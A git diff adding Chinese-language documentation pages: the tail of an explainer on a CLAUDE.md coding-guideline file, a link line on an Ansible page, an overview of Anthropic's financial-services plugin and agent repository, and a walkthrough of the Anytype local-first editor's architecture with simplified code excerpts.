+下面是一个最小化的 `CLAUDE.md` 内容，可以直接放到项目根目录：
+
+```markdown
+# CLAUDE.md — Behavior Guidelines
+
+**Tradeoff:** Bias toward caution over speed. Trivial tasks don't need full rigor.
+
+## 1. Think Before Coding
+- State assumptions explicitly. If uncertain, ask.
+- Present multiple interpretations — don't pick silently.
+- Push back if a simpler approach exists.
+- Stop and name what's unclear. Ask.
+
+## 2. Simplicity First
+- No features beyond what was asked.
+- No abstractions for single-use code.
+- If 200 lines could be 50, rewrite it.
+
+## 3. Surgical Changes
+- Don't "improve" adjacent code, comments, or formatting.
+- Match existing style, even if you'd do it differently.
+- Remove only the imports/variables YOUR changes made unused.
+
+## 4. Goal-Driven Execution
+- "Add validation" → "Write tests for invalid inputs, then make them pass"
+- "Fix the bug" → "Write a test that reproduces it, then make it pass"
+- State a plan with verification checkpoints for multi-step tasks.
+```
+
+### 示例二：实际使用中的对话对比
+
+**不使用指南时（常见问题）：**
+
+用户说："给这个登录页面加个邮箱格式验证。"
+
+AI 可能会：
+1. 默默假设邮箱格式正则应该是某种特定写法（没确认）
+2. 顺便把整个表单组件的重构了（过度改动）
+3. 顺手改了按钮的颜色和间距（不该碰的也碰了）
+4. 写了一个 80 行的验证函数，带五种错误类型和自定义 UI 组件（过度复杂）
+
+**使用指南后（期望行为）：**
+
+用户说同样的话，AI 会先回复：
+
+> 我来加邮箱格式验证。先确认几点：
+>
+> 1. 邮箱格式的正则，用常见的 `^[^\s@]+@[^\s@]+\.[^\s@]+$` 可以吗？还是有特定要求？
+> 2. 验证失败时，是直接显示错误文字，还是需要其他交互？
+> 3. 我只改验证逻辑部分，不动其他样式和组件结构，可以吗？
+>
+> 计划：
+> - 步骤1：写一个邮箱验证函数 → 验证：用正确和错误的邮箱地址测试
+> - 步骤2：在提交按钮点击时调用验证 → 验证：错误时阻止提交并显示提示
+
+你看，区别在于：**先确认、先计划、先问，然后再动手**。
+
+## 五、安装和使用
+
+项目提供了两种安装方式：
+
+**方式 A：Claude Code 插件（推荐）**
+
+在 Claude Code 里运行：
+
+```
+/plugin marketplace add forrestchang/andrej-karpathy-skills
+/plugin install andrej-karpathy-skills@karpathy-skills
+```
+
+这样指南会变成插件，在所有项目中生效。
+
+**方式 B：直接放到 CLAUDE.md（按项目）**
+
+新项目：
+```bash
+curl -o CLAUDE.md https://raw.githubusercontent.com/forrestchang/andrej-karpathy-skills/main/CLAUDE.md
+```
+
+已有项目（追加到现有文件末尾）：
+```bash
+echo "" >> CLAUDE.md
+curl https://raw.githubusercontent.com/forrestchang/andrej-karpathy-skills/main/CLAUDE.md >> CLAUDE.md
+```
+
+项目还提供了一个 Cursor 的规则文件（`.cursor/rules/karpathy-guidelines.mdc`），在 Cursor 编辑器中也能用。
+
+## 六、怎么判断它在工作
+
+项目列出了四个信号，说明这些指南正在起作用：
+
+- diff 中不必要的改动变少了 — 只有你要求的那些改动出现
+- 因为过度复杂而导致的重写变少了 — 代码第一次就写得简洁
+- 澄清问题出现在实现之前 — 而不是犯错之后才来问
+- PR 更干净精简 — 没有顺带的重构或"改进"
+
+## 七、个人理解
+
+这条指南最打动我的一点是：**它不试图改变 AI 的能力，而是改变 AI 的工作方式**。
+
+LLM 本身已经很强了，但它有个习惯——太急于给出答案，而不愿意花时间确认自己真的理解了问题。这四条原则，本质上是在给 AI 踩刹车：
+
+1. 编码前思考 = 踩刹车，确认方向
+2. 简洁优先 = 踩油门但别超速，保持克制
+3. 精准修改 = 别乱打方向盘，只转你需要的那一点
+4. 目标驱动 = 看目的地而不是只看脚下的路
+
+作为一个编程初学者，我觉得第四条特别有价值。以前我让 AI 帮忙写代码时，经常说"做个 XX 功能"，然后得到的结果要么太简单要么太复杂。如果我改成说"做一个 XX 功能，成功标准是 YY，验证方法是 ZZ"，结果会精确得多。
+
+## 八、小结
+
+| 要点 | 说明 |
+|---|---|
+| 项目本质 | 一份写给 Claude Code 的行为守则 |
+| 来源灵感 | Andrej Karpathy 对 LLM 编程问题的观察 |
+| 核心方法 | 四条原则放入 CLAUDE.md，每次对话自动加载 |
+| 适用场景 | 任何使用 Claude Code 或 Cursor 的项目 |
+| 核心心态 | 谨慎优于速度，确认优于猜测 |
diff --git a/src/content/docs/projects/ansible.md b/src/content/docs/projects/ansible.md
index 6ebacd8db..b3b728d64 100644
--- a/src/content/docs/projects/ansible.md
+++ b/src/content/docs/projects/ansible.md
@@ -179,6 +179,7 @@ ansible-playbook -i aws_ec2.yml playbook.yml
 - [[jenkins]] —— Jenkins — 老牌开源 CI 服务器
 - [[kubebuilder]] —— Kubebuilder — 写 K8s Operator 的官方脚手架
 - [[kubernetes]] —— Kubernetes — 容器编排平台
+- [[mender]] —— Mender — 嵌入式 Linux 的 OTA 空中升级管家
 - [[minikube]] —— minikube — 一条命令在笔记本上起一个真 K8s 集群
 - [[nginx]] —— nginx — 高性能 Web 服务器
 - [[opentofu]] —— OpenTofu — 社区接手的 Terraform
diff --git a/src/content/docs/projects/anthropic-financial-services.md b/src/content/docs/projects/anthropic-financial-services.md
new file mode 100644
index 000000000..9bcb5fe1c
--- /dev/null
+++ b/src/content/docs/projects/anthropic-financial-services.md
@@ -0,0 +1,268 @@
+---
+title: Claude for Financial Services — 金融服务工作流插件与 Agent 模板
+日期: 2026-06-13
+分类: 后端 API
+来源: https://github.com/anthropics/financial-services
+provenance: pipeline-v3
+子分类: Web 后端
+---
+
+## 日常类比：带 SOP 手册的投行实习组 + 数据终端接线员
+
+想象你在一家投行或资管公司实习，第一天领到的不只是一台电脑，而是：
+
+- **一叠标准作业程序（SOP）**：可比公司分析怎么拉、DCF 里 WACC 怎么设、 earnings note 段落结构怎样写——对应仓库里的 **Skills**（`SKILL.md`）
+- **快捷指令卡**：老板说「做 comps」「写 CIM」「出 IC memo」时你按固定流程开干——对应 **Commands**（`/comps`、`/cim`、`/ic-memo`）
+- **彭博 / FactSet / 内部文档库的 VPN 账号**：不用手动复制粘贴，模型通过 MCP 直接查数——对应 **Connectors**
+- **带名字的完整小组**：Pitch Agent 从估值做到 deck，GL Reconciler 从对账差异追到根因——对应 **Named Agents**
+
+[anthropics/financial-services](https://github.com/anthropics/financial-services)（Apache 2.0）就是 Anthropic 把上述「实习组 + 终端 + SOP」**文件化**后的参考实现：全是 Markdown 与 YAML，无编译步骤。可在 [Claude Cowork](https://claude.com/product/cowork) 里当插件装，也可通过 [Claude Managed Agents API](https://docs.claude.com/en/api/managed-agents) 部署到你自己的工作流引擎——**同一套 system prompt 与 skills，两种运行面**。
+
+> **合规提醒（仓库原文强调）**：内容不构成投资、法律、税务或会计建议；输出需经 qualified professional 复核，Agent 不执行交易、不过账、不批准 onboarding。
+
+---
+
+## 是什么：FSI 垂直里的「插件 + Agent 双轨」
+
+```mermaid
+flowchart TB
+  subgraph Source["单一源码 plugins/"]
+    VP["vertical-plugins/\n技能源 + 命令 + MCP"]
+    AP["agent-plugins/\n命名 Agent\n(同步后的 skills 副本)"]
+    VP -->|sync-agent-skills.py| AP
+  end
+  subgraph Run["两种运行方式"]
+    CW["Claude Cowork / Claude Code\n插件市场安装"]
+    CMA["Managed Agents API\n/v1/agents + orchestrate.py"]
+  end
+  AP --> CW
+  AP --> CMA
+  MC["managed-agent-cookbooks/\nagent.yaml + subagents"]
+  AP --> MC
+  MC --> CMA
+  MCP["financial-analysis/.mcp.json\n11+ 数据连接器"] --> VP
+```
+
+| 层级 | 作用 | 典型路径 |
+|------|------|----------|
+| **Vertical plugins** | 按业务线打包 skills/commands | `plugins/vertical-plugins/equity-research/` |
+| **Agent plugins** | 端到端工作流，自包含 skills | `plugins/agent-plugins/pitch-agent/` |
+| **Managed Agent cookbooks** | 无头部署：orchestrator + leaf workers | `managed-agent-cookbooks/gl-reconciler/` |
+| **Partner plugins** | LSEG、S&P Global 等合作方 | `plugins/partner-built/` |
+
+与「单个 ChatGPT 自定义 GPT」不同，这里强调 **Research → Model → Deck/Memo** 的整条链路，且通过 MCP 把外部终端数据接进同一会话，减少 tab 切换与手工抄数错误。
+
+---
+
+## 核心概念
+
+### 1. Skills — 自动触发的领域 SOP
+
+每个 skill 是目录下的 `SKILL.md`：写清**何时触发**、**步骤**、**输出格式**、**常见坑**。Claude 在对话中语义匹配后自动加载，无需你每次重复「请按我们行标做 comps」。
+
+示例：`comps-analysis` 指导可比公司选取、倍数计算、表格版式；`audit-xls` 指导 Excel 公式追踪与 hardcode 检测。
+
+**编辑约定**：skills 的**权威源**在 `vertical-plugins/<vertical>/skills/`；agent 目录里是同步副本。改 skill 后需跑 `python3 scripts/sync-agent-skills.py`，再用 `python3 scripts/check.py` 验证引用与版本。
+
+### 2. Commands — 显式 slash 工作流
+
+Commands 是 `commands/*.md`，用户主动输入 `/comps`、`/earnings` 等。适合步骤固定、输入参数明确的任务（公司名、deal 名、报告期）。
+
+在 Claude Code 里可能呈现为 `/plugin:command-name` 形式，取决于插件命名空间。
+
+### 3. Connectors — MCP 数据面
+
+核心插件 **financial-analysis** 的 `.mcp.json` 集中注册连接器，覆盖 Daloopa、Morningstar、S&P Global、FactSet、Moody's、PitchBook、LSEG、Egnyte、Box 等。各 vertical 共享这套连接；换数据源时改 MCP 配置或 `.local.md`（gitignore 的用户本地覆盖）。
+
+### 4. Named Agents — 工作流 owner
+
+每个 Agent 有 canonical system prompt：`plugins/agent-plugins/<slug>/agents/<slug>.md`。例如：
+
+| 职能 | Agent | 典型产出 |
+|------|-------|----------|
+|  coverage & advisory | Pitch Agent | comps → precedents → LBO → branded deck |
+| research | Earnings Reviewer | 业绩会 + filing → model update → note 草稿 |
+| fund admin | GL Reconciler | 找 break、追根因、路由签批 |
+| operations | KYC Screener | 解析 onboarding 材料、规则网格、缺口标记 |
+
+Agent 插件**自包含**其用到的 skills，Cowork 里装一个 Agent 即可开跑，不必再手动叠五六个 vertical（除非你只想用 slash 而不装整 Agent）。
+
+### 5. Managed Agents — 可编排的无头部署
+
+`managed-agent-cookbooks/<slug>/` 含 `agent.yaml`（指向同一 system prompt）、`subagents/*.yaml`（深度 1 的 leaf worker）、`steering-examples.json`。部署脚本上传 skills、创建 subagent，POST 到 `/v1/agents`。
+
+`scripts/orchestrate.py` 提供参考事件循环：处理 `handoff_request`，在你自己的 orchestration 层把任务从 orchestrator 路由到 leaf agent（Research Preview 能力，生产需按各 Agent README 做安全与 handoff 审查）。
+
+### 6. 与 Microsoft 365 加载项的关系
+
+`claude-for-msft-365-install/` 是**独立**的 IT 管理插件：帮企业在 Excel/PPT/Word/Outlook 里部署 Claude 加载项（可走 Vertex、Bedrock 或内部 gateway）。FSI agents/skills 是加载项**内部**跑的能力，不是同一个安装包。
+
+---
+
+## 垂直插件一览（先装 core）
+
+官方建议顺序：**financial-analysis（core）→ 按需 vertical / agent**。
+
+| 插件 | 亮点命令 |
+|------|----------|
+| financial-analysis | `/comps`、`/dcf`、`/lbo`、`/3-statement-model`、`/debug-model` |
+| investment-banking | `/cim`、`/teaser`、`/buyer-list`、`/merger-model` |
+| equity-research | `/earnings`、`/initiate`、`/model-update`、`/morning-note` |
+| private-equity | `/screen-deal`、`/dd-checklist`、`/ic-memo`、`/portfolio` |
+| wealth-management | `/client-review`、`/financial-plan`、`/rebalance`、`/tlh` |
+| fund-admin | GL 对账、关账、NAV tie-out 相关 skills |
+| operations | KYC 解析与规则评估 |
+
+Partner：**lseg**（债券 RV、swap 曲线等）、**sp-global**（tear sheet、earnings preview 等）。
+
+---
+
+## 代码示例 1：Claude Code 安装 marketplace 与插件
+
+在终端用 Claude Code 添加官方 marketplace，先装核心建模与 MCP，再按岗位装 Agent 或 vertical：
+
+```bash
+# 注册 marketplace（仓库 README 当前 slug）
+claude plugin marketplace add anthropics/financial-services
+
+# 核心：共享建模 skills + 全部数据连接器（必须先装）
+claude plugin install financial-analysis@claude-for-financial-services
+
+# 命名 Agent — 按职能挑选
+claude plugin install pitch-agent@claude-for-financial-services
+claude plugin install earnings-reviewer@claude-for-financial-services
+claude plugin install gl-reconciler@claude-for-financial-services
+
+# 或只装垂直 skill 包（不要整 Agent 时）
+claude plugin install equity-research@claude-for-financial-services
+claude plugin install private-equity@claude-for-financial-services
+```
+
+安装后：
+
+- Agent 出现在 Cowork dispatch
+- Skills 在相关对话里**自动**加载
+- Slash commands 在会话中可用，例如 `/comps`、`/earnings`、`/ic-memo`
+
+Cowork 图形界面也可直接粘贴仓库 URL `https://github.com/anthropics/financial-services`，从 marketplace 列表勾选插件；或 zip `plugins/agent-plugins/pitch-agent/` 上传。
+
+---
+
+## 代码示例 2：Managed Agent 部署与编排
+
+无头环境（cron、内部 deal desk 门户、合规 sandbox）用 Managed Agents API：
+
+```bash
+export ANTHROPIC_API_KEY=sk-ant-...
+
+# 部署单个 cookbook（如 GL 对账 Agent）
+scripts/deploy-managed-agent.sh gl-reconciler
+```
+
+脚本会：解析 `agent.yaml` 中的 `system.file` 与 `skills.path` 引用 → 上传 skills → 创建 leaf subagents → POST orchestrator 到 `/v1/agents`。
+
+自定义编排时可参考 `orchestrate.py` 的事件循环概念（伪代码结构）：
+
+```python
+# 概念示意：处理 Agent 之间的 handoff_request
+# 完整实现见仓库 scripts/orchestrate.py
+
+async def run_orchestrator(agent_id: str, user_message: str):
+    session = await agents_api.create_session(agent_id=agent_id)
+    async for event in session.stream(user_message):
+        if event.type == "handoff_request":
+            # 将子任务路由到 callable_agents 中的 leaf worker
+            leaf_id = resolve_leaf(event.target_slug)
+            async for sub_event in delegate_to(leaf_id, event.payload):
+                yield sub_event
+        else:
+            yield event
+```
+
+`callable_agents` 与 subagent 委托目前为 **Research Preview**；上线前需阅读对应 `managed-agent-cookbooks/<slug>/README.md` 的安全 tier 与数据边界说明。
+
+---
+
+## 代码示例 3：会话内典型 slash 工作流
+
+安装 **investment-banking** 与 **financial-analysis** 后，可在同一会话串联（示意输入，非 API）：
+
+```text
+/comps Apple
+
+# Skill 引导：选 peer set、拉 MCP 数据、输出 trading multiples 表
+# 可导出 xlsx 或嵌入 deck
+
+/merger-model Acquirer acquiring Target
+
+# 输出：sources & uses、pro forma、EPS accretion/dilution、sensitivity
+
+/cim TargetCo
+
+# 基于 filings + 管理层材料草稿 CIM 各章，待 MD 复核
+```
+
+Research 侧类似：
+
+```text
+/earnings NVDA
+
+# 业绩会 transcript + 10-Q/8-K → 模型假设更新 → quarterly update 段落
+
+/thesis NVDA
+
+# 更新 investment thesis 与风险清单
+```
+
+这些命令背后是 `commands/*.md` 调用对应 `skills/*/SKILL.md` 里的步骤；有 MCP 权限时自动查 Morningstar、FactSet 等，无 key 则退化为公开 filing + 用户上传文件。
+
+---
+
+## 仓库开发与贡献要点
+
+| 动作 | 命令 / 位置 |
+|------|-------------|
+| 改 skill | 编辑 `vertical-plugins/.../skills/`，再 `sync-agent-skills.py` |
+| 新增 Agent | `plugins/agent-plugins/<slug>/` + 镜像 `managed-agent-cookbooks/<slug>/` |
+| 提交前检查 | `python3 scripts/check.py`（manifest、交叉引用、skill 漂移） |
+| 版本 bump | pre-commit 自动 patch `plugin.json` version，PR 有 GitHub Action 兜底 |
+
+插件本质是 **Markdown + JSON**；改完即生效，无 build。Fork 后可：
+
+- 替换 `.mcp.json` 指向行内数据湖或私有 MCP
+- 在 skill 里写入行术语、字体、slide master 规则（`/ppt-template` 可教 Claude 你的模板）
+- 改 `agents/<slug>.md` 对齐真实审批链
+
+---
+
+## 与其他工具的关系（学习定位）
+
+| 对比对象 | 差异 |
+|----------|------|
+| 通用 Claude Code / Cursor Agent | 本仓库提供 **FSI 预制 SOP + 终端 MCP**，不是空 agent |
+| 纯 Excel Copilot | 强调 cross-document（Excel + PPT + Word + 研究 note）与 deal 级 workflow |
+| 自研 RAG on filings | 官方 connectors 覆盖商业终端；skill 层编码的是**分析师方法**而不只是检索 |
+
+若你已在用 [Claude API SDK](https://docs.anthropic.com/) 或 Managed Agents，本仓库是**可直接 fork 的领域 prompt/skill 库**；若你在 Cowork 桌面端，则是「一键专业化」的插件市场来源。
+
+---
+
+## 零基础上手路径（建议 90 分钟）
+
+1. **15 min** — 读 README「Agents / Vertical Plugins / How It Fits Together」三张表，选与自己岗位最近的一个 Agent（如 equity research → Earnings Reviewer）。
+2. **20 min** — Claude Code 安装 `financial-analysis` + 一个 vertical；配置至少一个 MCP provider 的 API key（或先用上传 PDF/Excel 离线试）。
+3. **30 min** — 跑通一条 slash：research 用 `/comps` 或 `/earnings`，IB 用 `/one-pager`，PE 用 `/screen-deal`。
+4. **15 min** — 打开对应 `SKILL.md`，看 trigger 条件与输出 checklist，理解「模型被约束了什么」。
+5. **10 min**（可选） — 读 `managed-agent-cookbooks/<your-agent>/README.md`，了解 headless 部署与 handoff 安全说明。
+
+---
+
+## 小结
+
+**Claude for Financial Services** 把投行、研究、PE、财富管理、基金运营里高频 workflow 拆成可组合的 **Skills、Commands、Connectors、Named Agents**，并统一维护 Cowork 插件与 Managed Agent 两套包装。学习价值在于：看清 Anthropic 如何用**文件即配置**的方式编码金融专业流程，以及 MCP 如何把「终端数据」接进 agent 闭环——这对设计任何行业的垂直 Agent 都有参考意义。
+
+**关键链接**
+
+- 仓库：https://github.com/anthropics/financial-services
+- Managed Agents 文档：https://docs.claude.com/en/api/managed-agents
+- MCP 规范：https://modelcontextprotocol.io/
diff --git a/src/content/docs/projects/anytype-ts.md b/src/content/docs/projects/anytype-ts.md
new file mode 100644
index 000000000..0dcf4931c
--- /dev/null
+++ b/src/content/docs/projects/anytype-ts.md
@@ -0,0 +1,337 @@
+---
+title: Anytype — 本地优先块编辑器
+来源: https://github.com/anyproto/anytype-ts
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：自家抽屉柜 + 乐高积木 + 加密保险箱
+
+想象你在整理生活：每个抽屉是一个 **Space（空间）**——工作、家庭、读书各一屉；抽屉里不是一叠 Word，而是一排 **可拆装的乐高块**——一段文字、一张图、一张看板、一张表格，每一块都能单独挪动、复制、嵌套。更关键的是：**柜子先放在你家里（本地硬盘）**，联网只是为了和另一台设备上的「同款柜子」对账；即便断网，你照样打开抽屉写笔记。柜子上还有一把只有你知道密码的锁——**端到端加密**，服务商也读不到内容。
+
+Anytype 就是这样一套 **本地优先、P2P 可选同步、零知识加密** 的个人知识操作系统。桌面客户端 [anyproto/anytype-ts](https://github.com/anyproto/anytype-ts) 用 Electron + TypeScript/React 画 UI，真正的存储、同步、加密逻辑在 Go 写的中间层 [anytype-heart](https://github.com/anyproto/anytype-heart) 里，两者通过 **gRPC** 对话。零基础路径：**装 App → 建 Space → 写 Page → 用 Type/Relation 给对象贴标签 → 用 Set/Collection 做数据库视图**；想读源码则从 Block 树 + MobX Store 入手。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：云端笔记「数据在别人服务器上」
+
+Notion、Evernote 等默认把 canonical 数据放在云端。Anytype 强调 **offline-first**：中间层先把对象图写入本地，同步是附加能力；加密密钥在用户侧，符合「数字大脑应归用户所有」的产品定位。
+
+### 痛点 2：块编辑器与结构化数据库割裂
+
+很多工具要么是大纲块（Roam/Logseq），要么是表格库（Airtable）。Anytype 用 **同一套 Object + Block + Relation** 模型：一页笔记是块树，一个「任务 Type」可以出现在 Kanban、Calendar、Gallery 等多种 **Dataview** 视图里，无需导出到第二个 App。
+
+### 痛点 3：链接/wiki 缺少强类型
+
+纯 `[[wikilink]]` 难以回答「所有 status=进行中 且 截止日在本周 的任务」。Anytype 的 **Relation（关系/属性）** 给每个 Object 挂上结构化字段（日期、状态、多选标签等），**Set** 按 Type + Filter 动态聚合对象，类似「保存的查询 + 多视图仪表盘」。
+
+### 痛点 4：去中心化与多设备
+
+基于 **any-sync** 的 P2P 同步可选开启；同一 Any-ID 在多设备间同步 Space，而不必把原始明文交给中心化后端。桌面仓库 `anytype-ts` 是官方 macOS / Linux / Windows 客户端的开源实现（Any Source Available License 1.0）。
+
+---
+
+## 架构一图（桌面客户端）
+
+```text
+┌─────────────────────────────────────────────────────────┐
+│  Electron 主进程 (electron.js) — 窗口、IPC、系统集成      │
+└───────────────────────────┬─────────────────────────────┘
+                            │ IPC
+┌───────────────────────────▼─────────────────────────────┐
+│  React 渲染进程 (src/ts/)                                │
+│  · component/block/*  — 19+ 种块 UI                      │
+│  · component/editor/page.tsx — 块编辑器 (~2600 行)       │
+│  · store/block.ts (MobX) — 块树内存模型                   │
+│  · lib/api/command.ts — gRPC 命令封装                     │
+└───────────────────────────┬─────────────────────────────┘
+                            │ gRPC (+ 事件流)
+┌───────────────────────────▼─────────────────────────────┐
+│  anytype-heart (Go) — 持久化、CRDT/同步、加密、搜索       │
+│  本地 anytypeHelper 二进制 + SQLite/对象图存储            │
+└─────────────────────────────────────────────────────────┘
+```
+
+**开发栈速览：** Bun 包管理、Vite 打包、TypeScript、React 18、MobX 状态、PixiJS + Web Worker 画关系图谱。改 UI 前先 `./update.sh` 拉取匹配版本的 middleware。
+
+---
+
+## 核心概念拆解
+
+### 1. Space（空间）
+
+逻辑隔离单元，类似「工作区」或「保险柜分区」。每个 Space 有自己的对象图、成员与权限（共享 Space 时）。CLI/ gRPC 层通过 `ObjectSearch` 在 tech space 里列出可用 Space（见 anytype-cli 的 `ListSpaces` 实现）。
+
+### 2. Object（对象）
+
+Anytype 里 **一切皆对象**：Page、Task、Bookmark、自定义 Type 都是 Object，有唯一 id、layout（Page/Note/Set/…）、以及一组 **Details**（键值属性，由 Relation 定义语义）。
+
+### 3. Block（块）
+
+Object 的 **正文** 由块树组成。`src/ts/model/block.ts` 注释写得很清楚：文本、图片、链接、表格、Dataview、Chat 等每种内容都是带 `type` 与 `content` 的 Block；块通过 `parentId` / `childrenIds` 形成树，Toggle、分栏（Layout）等容器块可嵌套子块。
+
+### 4. Type 与 Relation
+
+- **Type**：对象的「 schema 模板」，定义这类东西有哪些 Relation、默认布局、推荐块结构。
+- **Relation**：属性定义（如 `status`、`dueDate`、`author`），值存在 Object 的 details 里；Filter/Sort 都针对 Relation 运算。
+
+这是 Anytype 相对纯 wikilink 笔记的核心差异：**链接 + 类型系统**。
+
+### 5. Set / Collection 与 Dataview
+
+- **Set**：按 Type + Filter 动态收集对象（类似智能文件夹）。
+- **Collection**：手动 curated 的对象集合。
+- 二者在 UI 里常通过 **BlockDataview** 块展示，支持 Grid、List、Gallery、Board、Calendar、Graph 等 **View**；每个 View 有自己的 `filters`、`sorts`、`relations`（列定义）。
+
+### 6. 本地优先与同步
+
+编辑操作经 gRPC 发到 heart，**先落本地**；同步引擎在后台与 peer 交换加密 blob。前端通过 **gRPC 事件流** 收增量，MobX store 更新后 React 自动重绘——所以多端同时改同一页时，你会看到实时的块级合并结果（具体 CRDT 细节在 heart 仓库）。
+
+### 7. anytype-ts 在仓库里的职责
+
+| 目录 | 职责 |
+|------|------|
+| `src/ts/component/block/` | 各块类型 React 组件 |
+| `src/ts/component/editor/` | 页面编辑器、选区、拖拽 |
+| `src/ts/store/block.ts` | `blockMap` / `treeMap` 维护打开对象的块树 |
+| `src/ts/lib/api/` | 100+ gRPC 命令与 protobuf mapper |
+| `src/scss/` | 与组件镜像的样式（支持 CSS nesting） |
+
+**它不是** 纯 Markdown 文件夹笔记（不像 Obsidian 直接编辑 .md）；Canonical 数据在中间层对象图里，导出/备份走官方导出或 gRPC API。
+
+---
+
+## 安装与第一次使用（用户向）
+
+1. 从 [download.anytype.io](https://download.anytype.io) 或 [GitHub Releases](https://github.com/anyproto/anytype-ts/releases) 安装桌面版。
+2. 创建 **Any-ID**（本地密钥链保存助记词/恢复码——丢失无法找回）。
+3. 新建 **Space**，在 Space 里 `+` 创建 Page 或 Task。
+4. 打开 Page，输入 `/` 插入块类型（文本、待办、分隔线、嵌入 Set 等）。
+5. 在类型库中查看 **Types**，理解 Task 与 Page 的 Relation 差异；建一个 Set，筛选 `Type = Task` 且 `Status = To-do`，切换 Board 视图。
+
+### 从源码跑开发版（开发者向）
+
+```bash
+git clone https://github.com/anyproto/anytype-ts.git && cd anytype-ts
+bun install
+./update.sh macos-latest arm    # 或 ubuntu-latest / windows-latest + arm|amd
+cd .. && git clone https://github.com/anyproto/anytype-heart.git && cd anytype-heart
+make install-dev-js CLIENT_DESKTOP_PATH=../anytype-ts && cd ../anytype-ts
+bun run update:locale
+bun run start:dev               # 热重载 Electron；Web 模式: bun run start:web
+```
+
+环境变量：`SERVER_PORT` 指定 Vite 端口；`ELECTRON_SKIP_NOTARIZE=1` 可在本地跳过 macOS 公证打包。
+
+---
+
+## 代码示例 1：Block 模型 — 块树的最小单元
+
+摘自 `src/ts/model/block.ts` 的设计（简化注释，保留结构）。每个块既有通用字段，也有按 `type` 实例化的 `ContentModel`：
+
+```typescript
+// src/ts/model/block.ts — 概念简化
+class Block implements I.Block {
+	id = '';
+	parentId = '';
+	type: I.BlockType = I.BlockType.Empty;
+	childrenIds: string[] = [];
+	layout: I.ObjectLayout = I.ObjectLayout.Note;
+	hAlign: I.BlockHAlign = I.BlockHAlign.Left;
+	bgColor = '';
+	fields: any = {};
+	content: any = {};
+
+	constructor(props: I.Block) {
+		this.id = String(props.id || '');
+		this.parentId = String(props.parentId || '');
+		this.type = props.type;
+		this.childrenIds = props.childrenIds || [];
+		// 按块类型挂载不同 Content 类（Text、File、Link、Layout…）
+		if (ContentModel[this.type]) {
+			this.content = new ContentModel[this.type](props.content);
+		}
+		makeObservable(this, {
+			bgColor: observable,
+			content: observable,
+			fields: observable,
+		});
+	}
+
+	canHaveChildren(): boolean {
+		return this.isLayout() || this.isTextQuote() /* … */;
+	}
+
+	isText(): boolean {
+		return this.type === I.BlockType.Text;
+	}
+}
+```
+
+**阅读要点：**
+
+- 文档不是字符串，而是 **Block 森林**；编辑器操作本质是 `BlockCreate` / `BlockListDelete` 等 gRPC 命令改树。
+- `childrenIds` 决定大纲层级；Layout 块把页面分成多列，类似 Notion 分栏。
+- MobX `observable` 让块内容变化时，对应 `component/block/text.tsx` 等组件自动刷新。
+
+---
+
+## 代码示例 2：BlockStore — 内存中的块树索引
+
+`src/ts/store/block.ts` 的 `BlockStore` 为所有「当前打开的对象」维护多块 Map：
+
+```typescript
+// src/ts/store/block.ts — 结构摘录
+class BlockStore {
+	/** rootId -> blockId -> Block 实例 */
+	public blockMap: Map<string, Map<string, I.Block>> = new Map();
+
+	/** rootId -> blockId -> { id, childrenIds, parentId } */
+	public treeMap: Map<string, Map<string, I.BlockStructure>> = new Map();
+
+	getLeaf(rootId: string, id: string): I.Block | undefined {
+		return this.blockMap.get(rootId)?.get(id);
+	}
+
+	// profile / spaceview / widgets 等系统对象 id 也挂在本 store
+}
+```
+
+编辑器页 `EditorPage`（`component/editor/page.tsx`）启动时会 `S.Block.getLeaf(rootId, rootId)` 取根块，再递归渲染子块。拖拽、Enter 分裂块、`/命令` 菜单最终都调用 `lib/api/command.ts` 里的 `C.BlockCreate`、`C.BlockListMove` 等，成功后 middleware 推事件，store 合并增量。
+
+**阅读要点：**
+
+- `rootId` 通常等于 **Object id**（整页/整笔记的对象 id）。
+- 同一 Space 打开多个页签时，store 按 rootId 分区，避免块 id 冲突。
+- 改块不要直接 mutate 本地 Map 绕过命令层，否则与 heart 持久化状态不一致。
+
+---
+
+## 代码示例 3：Dataview 视图配置（概念 JSON）
+
+Dataview 块的内容（`ContentDataview`）在 TypeScript 接口里大致如下；实际对象存在 heart，前端通过 subscription 拉记录列表：
+
+```typescript
+// 概念结构 — 对应 I.ContentDataview / I.View
+const taskBoardView = {
+	sources: ['<set-or-collection-object-id>'],
+	viewId: 'view-board-1',
+	isCollection: false,
+	views: [
+		{
+			id: 'view-board-1',
+			name: '按状态分栏',
+			type: 'Board', // Grid | List | Gallery | Calendar | Graph
+			groupRelationKey: 'status',
+			filters: [
+				{
+					relationKey: 'type',
+					condition: 'Equal',
+					value: '<task-type-id>',
+				},
+			],
+			sorts: [{ relationKey: 'dueDate', type: 'Asc' }],
+			relations: [
+				{ relationKey: 'name', isVisible: true },
+				{ relationKey: 'status', isVisible: true },
+				{ relationKey: 'dueDate', isVisible: true },
+			],
+		},
+	],
+};
+```
+
+`lib/dataview.ts` 的 `viewGetRelations` 会把 Type schema 里的 Relation 与 View 里可见列合并；`loadData` 再拼 filters/sorts 调用 `U.Subscription.subscribe` 向后端要行数据。理解这一点后，就看懂「为什么改 Type 的 Relation 会影响所有 Set 视图列」。
+
+---
+
+## 代码示例 4：gRPC 列出 Space（CLI 侧）
+
+第三方集成可走 gRPC（官方未承诺稳定 public API，但桌面与 [anytype-cli](https://github.com/anyproto/anytype-cli) 均依赖此通道）。列出 Space 的核心是对 tech space 做 `ObjectSearch`，过滤 `spaceView` layout：
+
+```go
+// anytype-cli/core/space.go — 思路摘录
+req := &pb.RpcObjectSearchRequest{
+	SpaceId: techSpaceId,
+	Filters: []*model.BlockContentDataviewFilter{
+		{
+			RelationKey: "resolvedLayout",
+			Condition:   model.BlockContentDataviewFilter_Equal,
+			Value:       pbtypes.Int64(int64(model.ObjectType_spaceView)),
+		},
+	},
+	Keys: []string{"targetSpaceId", "name", "spaceLocalStatus"},
+}
+resp, err := client.ObjectSearch(ctx, req)
+```
+
+Rust 生态也有 [anytype-rpc](https://docs.rs/anytype-rpc) 封装同一套 proto。若只做只读分析，HTTP API + 导出 JSON 更稳；要做块级自动化、Chat、File 操作，才需要 gRPC + 本地 helper。
+
+---
+
+## 与相近工具对比（简表）
+
+| 维度 | Anytype | Notion | Logseq | Obsidian |
+|------|---------|--------|--------|----------|
+| 本地优先 | ✅ heart 本地 | ❌ 云端为主 | ✅ 本地 md | ✅ 本地 md |
+| E2E 加密 | ✅ | ❌ | ❌（自行加密盘） | ❌ |
